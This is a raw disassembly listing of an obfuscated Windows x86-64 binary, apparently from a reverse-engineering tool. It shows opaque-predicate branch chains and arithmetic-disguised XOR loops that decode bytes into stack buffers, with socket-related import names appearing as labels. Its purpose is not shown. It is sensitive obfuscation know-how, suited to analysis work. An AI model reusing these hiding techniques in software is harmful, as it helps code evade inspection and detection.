jb 0x1400d6be3
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d6ba1
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d6b78
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400d6850
mov r8, rax
lea r9, [rax + 0x2a]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d6b4e
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d6b30
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d6b12
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d6af4
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d6ad8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d6ab7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d6a98
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d6a76
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d6a57
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d6850
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x400]
jmp 0x1400d6850
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400d6840
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400d67e0
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400d6778
mov ecx, reloc.WS2_32.dll_recv
lea edx, [rdi + 0x20]
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d708a
lea ecx, [rdi - 0x48]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 8
inc rdi
jmp 0x1400d6763
lea ecx, [rdi + 0x50]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
inc rdi
jmp 0x1400d6763
lea edx, [rdi - 0x18]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
movzx r10d, dil
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1400d70fc
lea ecx, [rdi + 0x80]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x1400d711e
lea edx, [rdi + 0x18]
mov ecx, Ordinal_45
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d7121
lea edx, [rdi - 0x50]
mov ecx, Ordinal_27
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d7156
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d717e
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x20
inc rdi
jmp 0x1400d6763
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x100], r11b
inc rdi
jmp 0x1400d6763
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 1
jb 0x1400d6b91
movzx ecx, bl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x48]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x10]
jmp 0x1400d708d
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 8
jae 0x1400d6fd5
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400d6f26
lea edx, [rdi - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
jmp 0x1400d6bae
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x1400d6ffb
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400d6e14
lea edx, [rdi - 0x1c]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x1400d6bfc
lea ecx, [rdi - 0x68]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x28
inc rdi
jmp 0x1400d6763
lea edx, [rdi + 0x30]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x1400d717e
lea edx, [rdi - 0x38]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x1400d7156
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d7121
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d711e
lea ecx, [rdi + 0x28]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
inc rdi
jmp 0x1400d6763
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc rdi
jmp 0x1400d6763
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x58]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x68
jmp 0x1400d708a
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400d6d9a
lea edx, [rdi - 0x4c]
mov ecx, 0xa
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d6c3e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6dbe
mov ecx, 0x24
lea edx, [rdi - 0x78]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d71d8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6de4
lea edx, [rdi + 0x58]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x1400d7156
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6c3e
mov ecx, 8
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x70]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d70fc
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d6e3c
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x4c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x14
jmp 0x1400d708a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6e69
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d6763
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d6e95
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x7c]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d70fc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6eb7
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400d711e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d6ed9
lea ecx, [rdi + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400d7121
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6efb
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x1400d7156
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d6bfc
lea edx, [rdi + 0x24]
mov ecx, 2
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d717e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d6f59
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc rdi
jmp 0x1400d6763
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d6f7f
lea edx, [rdi - 0x20]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x1400d7156
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6fa6
lea edx, [rdi - 0x50]
mov ecx, Ordinal_27
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d711e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6bba
lea ecx, [rdi + 0x80]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc rdi
jmp 0x1400d6763
movzx ecx, byte [rbp + rdi + 0x100]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x20]
and al, dl
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d70fc
lea edx, [rdi - 0x78]
mov ecx, 0x24
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d7156
lea edx, [rdi - 0x64]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x1400d7156
lea ecx, [rdi + 0x34]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
jmp 0x1400d7121
lea edx, [rdi - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d6763
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x2c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, dl
add r10b, 0x6c
movzx eax, bl
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x100], cl
inc r9
dec rdi
inc rdi
jmp 0x1400d6763
lea edx, [rdi - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400d6763
mov ecx, 2
movzx r10d, dil
lea edx, [r10 + 0x24]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
sub r10b, 0x2c
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x100], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d6763
movzx ebx, r10b
lea rcx, [rdi + r15]
and r10b, cl
movzx r11d, bl
add r10b, r10b
sub r11b, r10b
sub r11b, 0x74
add r11b, cl
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
inc r9
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x100], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, bl
and al, dl
inc r8
mov ecx, Ordinal_60
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x100], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d6763
mov ecx, reloc.WLDAP32.dll_Ordinal_30
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x100]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d6763
sub dil, 0x7c
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d6760
add dil, 0x1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400d6750
lea rcx, [rbp + 0x17f85f0]
jmp 0x1400d724a
lea rcx, [rbp + 0x4a4fa4]
jmp 0x1400d724a
lea rcx, [rbp + 0x100]
call fcn.1400432b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r10d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp - 0x1f], eax
movups xmmword [rbp - 0x2f], xmm0
mov word [rbp - 0x1b], ax
movabs rsi, 0xc725cd9094e53671
mov byte [rbp - 0x19], al
movabs r15, 0x72089ef412447d17
mov dword [rbp - 0x40], 0xffff0dfb
movabs r14, 0x557168b1beafa353
mov dword [rbp - 0x3c], 0xfdf9f00e
mov dword [rbp - 0x38], 0x4bf23c4e
mov dword [rbp - 0x34], 0xc748f53b
mov byte [rbp - 0x30], __WSAFDIsSet
nop word [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
mov rdi, r13
cmp rdi, 0x28
jae 0x1400d7d16
movzx ebx, byte [rbp + rdi - 0x40]
mov rdx, rbx
cmp r8, rdi
ja 0x1400d7d0d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d7312
lea rcx, [rdi + rsi]
movzx eax, dl
and al, cl
movzx r10d, dl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, cl
jmp 0x1400d7340
je 0x1400d7ca6
inc rax
cmp r8, rax
je 0x1400d7c2e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d7bfe
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d7bdf
nop
cmp r9, rdi
ja 0x1400d7d04
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400d736d
lea r10d, [rdi + 0x45]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x1d
add r10b, bl
jmp 0x1400d73b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d7ba0
inc rax
cmp r8, rax
je 0x1400d7b81
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d7b68
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d7b4f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d7b28
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400d7866
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d7843
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d7821
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d7802
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d77e4
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d77c6
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d77ad
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d7786
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d73c0
lea r8, [r9 + 0xa]
lea r9, [r8 + 8]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d7ce9
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d7cce
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d7575
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d755a
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d753f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d773e
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400d76d3
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d76b2
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d7686
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d7668
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d764b
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d7632
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d7619
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d75fd
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d75d9
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d75b1
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d7590
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d73c0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x200]
jmp 0x1400d73c0
lea r10d, [rdi + 0x5b]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, bl
jmp 0x1400d73b0
lea r10d, [rdi + 0x79]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x4f
add r10b, bl
jmp 0x1400d7340
lea r10d, [rdi - 0x69]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x21
add r10b, bl
jmp 0x1400d72e2
lea ecx, [rdi + 0x28]
movzx eax, bl
and al, cl
movzx r10d, bl
add al, al
movzx r11d, dil
sub r10b, al
sub r10b, 0x18
add r10b, cl
jmp 0x1400d7bb9
lea ecx, [rdi + 0x46]
movzx eax, bl
and al, cl
mov r10d, ntohl
sub r10b, al
inc r9
add r10b, r10b
dec rdi
add r10b, bl
add r10b, cl
inc rdi
jmp 0x1400d72d3
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d72d3
mov ecx, reloc.WS2_32.dll_gethostname
lea edx, [rdi - 0x7e]
movzx eax, bl
movzx r11d, dil
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400d7ae7
lea ecx, [rdi - 0x60]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x60
jmp 0x1400d7c12
lea ecx, [rdi - 0x42]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x32
jmp 0x1400d7c15
lea edx, [rdi - 0x24]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 4
add r10b, dl
jmp 0x1400d7c46
lea edx, [rdi - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d7c6a
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi - 0x1d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x35
mov byte [rbp + rdi - 0x40], r10b
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi + 0x1f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x27
cmp r8, 4
jae 0x1400d7acb
lea rdx, [r9 + 2]
cmp r8, rdx
jbe 0x1400d79f1
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5e
cmp r9, 0x200
jb 0x1400d76c6
movzx ecx, bl
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 6]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x54]
jmp 0x1400d7bb9
lea ecx, [rdi + 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x55
lea rax, [r8 + r9]
cmp rax, 8
je 0x1400d7b0d
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400d795e
lea ecx, [rdi - 0x13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7b
jmp 0x1400d76e7
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
sub r10b, 0x52
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x1400d7c6a
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7c15
movzx r11d, dil
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6c
jmp 0x1400d7aed
lea ecx, [rdi + 0x52]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x3e
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi + 0x70]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x10
inc rdi
jmp 0x1400d72d3
mov ecx, reloc.WS2_32.dll_ntohs
movzx r11d, dil
lea edx, [r11 - 0x72]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7bb9
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400d7888
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x17
jmp 0x1400d7752
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d78bd
lea edx, [rdi - 0x76]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d72d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d78df
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x22
jmp 0x1400d7c46
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d7901
lea ecx, [rdi + 0x12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7e
jmp 0x1400d7c12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d792d
mov ecx, Ordinal_45
movzx r11d, dil
lea edx, [r11 - 0xc]
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7aed
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d7752
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d72d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d7985
movzx r11d, dil
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x57
jmp 0x1400d7bb9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d79ad
lea ecx, [rdi - 0x6d]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 5
inc rdi
jmp 0x1400d72d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d79cf
lea ecx, [rdi + 0x57]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x61
jmp 0x1400d7c12
cmp r8, rcx
jne 0x1400d76e7
lea ecx, [rdi + 0x39]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x71
jmp 0x1400d7c15
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400d7a26
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
inc rdi
jmp 0x1400d72d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d7a4d
lea edx, [rdi - 0x28]
mov ecx, ntohl
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400d7c46
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400d7a72
movzx r11d, dil
movzx eax, bl
movzx r10d, bl
lea edx, [r11 + 0x7e]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x72
jmp 0x1400d7aea
cmp r8, rdx
jne 0x1400d7a9b
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc rdi
jmp 0x1400d72d3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d7712
mov ecx, 2
movzx r11d, dil
movzx eax, bl
lea edx, [r11 + 0x24]
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400d7bb9
movzx r10d, byte [rbp + rdi - 0x40]
movzx r11d, dil
movzx eax, bl
lea edx, [r11 - 0x18]
and al, dl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, bl
add r10b, dl
movzx eax, bl
add r11b, 0x59
and al, r11b
add al, al
sub bl, al
sub bl, 0x6f
add bl, r10b
add bl, r11b
mov byte [rbp + rdi - 0x40], bl
jmp 0x1400d7c12
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400d7c46
lea ecx, [rdi + 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x40]
add rax, r9
add rdi, rax
lea r10d, [rbx + rcx]
add r10b, 0x7f
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi - 0x6f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 9
jmp 0x1400d7c15
lea ecx, [rdi - 0x51]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x37
jmp 0x1400d7c12
lea ecx, [rdi - 0x15]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x6d
inc rdi
jmp 0x1400d72d3
movzx r11d, dil
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x11
movzx eax, bl
add r11b, 0x77
and al, r11b
add al, al
sub bl, al
sub bl, 0x41
add bl, r11b
mov byte [rbp + rdi - 0x40], bl
inc r9
dec rdi
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi - 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x59
dec rdi
inc rdi
jmp 0x1400d72d3
lea ecx, [rdi - 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 3
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
